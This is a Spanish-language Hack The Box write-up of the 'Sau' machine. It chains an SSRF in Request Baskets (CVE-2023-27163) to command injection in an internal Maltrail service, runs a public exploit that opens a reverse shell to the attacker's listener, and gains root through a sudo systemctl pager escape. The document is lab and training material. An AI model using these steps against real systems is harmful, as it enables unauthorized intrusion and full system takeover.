skip to content
← volver al catálogo
EN
EXPEDIENTE №001 · CLASIFICACIÓN DECLASSIFIED ·

Sau

HTB EASY
#linux#request-baskets#cve-2023-27163#ssrf#maltrail#command-injection#systemctl
Portada de Sau

Detalles

  • SO: Linux
  • Dificultad: Fácil
  • Dirección IP: 10.10.11.224
  • Autor: AETH3RON

Resumen

Esta máquina es un objetivo Linux de dificultad fácil que requiere encadenar dos vulnerabilidades para lograr la ejecución remota de código. El servicio web en el puerto 55555 ejecuta Request Baskets 1.2.1, vulnerable a Server-Side Request Forgery (SSRF) mediante CVE-2023-27163. Este SSRF nos permite redirigir peticiones a un servicio interno — Maltrail v0.53 — ejecutándose en el puerto 80 filtrado. Maltrail v0.53 es vulnerable a inyección de comandos del sistema operativo, que explotamos a través del basket SSRF para obtener una reverse shell. Tras obtener acceso, la escalada de privilegios se logra abusando de permisos sudo mal configurados en systemctl, permitiendo la ejecución de comandos arbitrarios como root.

Enumeración

Nmap

nmap -Pn -sS -sV -p- 10.10.11.224 -oN nmap-basic
Escaneo Nmap Básico
nmap -Pn -sS -sV -sC -p22,80,8338,55555 10.10.11.224 -oN nmap-common
Escaneo Nmap Común

El escaneo revela los siguientes servicios relevantes:

  • 22/tcp – SSH (OpenSSH 8.2p1)
  • 80/tcp – HTTP (filtrado)
  • 8338/tcp – Desconocido (filtrado)
  • 55555/tcp – HTTP (servidor Golang net/http)

Web

Al visitar el servicio web alojado en el puerto 55555, se nos presenta una interfaz web titulada Request Baskets.

Interfaz Web de Request Baskets

Al final de la página, la aplicación revela su número de versión. En este caso, la versión en ejecución es:

Versión de Request Baskets

Acceso Inicial

Tras realizar una búsqueda rápida, descubrimos que Request Baskets 1.2.1 es vulnerable a CVE-2023-27163, una vulnerabilidad de Server-Side Request Forgery (SSRF). Este fallo permite a un atacante crear un basket que reenvía todas las peticiones entrantes a un servicio interno arbitrario, eludiendo eficazmente el filtrado de red.

Recordemos que el puerto 80 aparecía como filtrado en nuestro escaneo Nmap. Explotando el SSRF, podemos configurar un basket para redirigir nuestras peticiones al servicio interno en el puerto 80, que resulta ser Maltrail v0.53 — un sistema de detección de tráfico malicioso.

Maltrail v0.53 es vulnerable a inyección de comandos del sistema operativo a través de su página de login. Encadenando ambas vulnerabilidades — el SSRF para alcanzar Maltrail internamente, y la inyección de comandos para ejecutar comandos arbitrarios — podemos obtener una reverse shell.

Buscando exploits públicos, encontramos una prueba de concepto funcional en GitHub que automatiza esta cadena. Podemos usar el exploit de la siguiente manera:

python3 exploit.py http://10.10.11.XXX:55555 <TU-IP> <TU-PUERTO>
Ejecución del Exploit

Tras ejecutar el exploit, unos segundos después recibimos una reverse shell en nuestro listener de Netcat, confirmando la ejecución remota de código exitosa a través de la cadena SSRF-a-inyección-de-comandos.

Listener de Reverse Shell

Escalada de Privilegios

Antes de continuar, actualizamos nuestra shell a una TTY completamente interactiva:

python3 -c 'import pty; pty.spawn("/bin/bash")'
Actualización de Shell Interactiva

A continuación, verificamos nuestros privilegios sudo:

Verificación de Permisos Sudo

La salida muestra que estamos autorizados a ejecutar un comando específico de systemctl con privilegios sudo.

Como systemctl permite la ejecución de comandos a través de la interacción con el paginador, esta configuración puede ser abusada para obtener una shell root.

Ejecutamos el comando permitido:

sudo systemctl status trail.service

Una vez que se abre el paginador, escapamos a una shell escribiendo:

!sh

Esto resulta en una shell root. Podemos verificar nuestros privilegios:

whoami
# root

En este punto, tenemos control total sobre el sistema.

Prueba de Shell Root

Impacto de Negocio

En un entorno empresarial real, esta cadena de ataque demuestra cómo una vulnerabilidad de Server-Side Request Forgery puede aprovecharse para alcanzar servicios internos que de otro modo serían inaccesibles. La capacidad de pivotar desde una aplicación proxy expuesta externamente hacia una herramienta de monitorización interna como Maltrail — y lograr ejecución de comandos a través de ella — resalta el peligro de desplegar servicios internos sin parchear tras una segmentación de red mínima. Combinado con permisos sudo mal configurados, un atacante obtendría acceso root completo, comprometiendo todos los datos y servicios alojados en el servidor.

Referencias

// DESPACHOS DE CAMPO

Nuevos archivos recuperados, directos a tu bandeja. Sin ruido.